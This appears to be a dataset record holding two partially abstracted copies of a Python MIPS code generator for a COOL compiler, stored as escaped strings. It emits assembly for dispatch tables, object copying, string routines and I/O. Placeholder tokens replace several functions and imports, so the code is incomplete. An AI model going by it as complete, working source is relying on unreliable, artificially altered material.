{}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 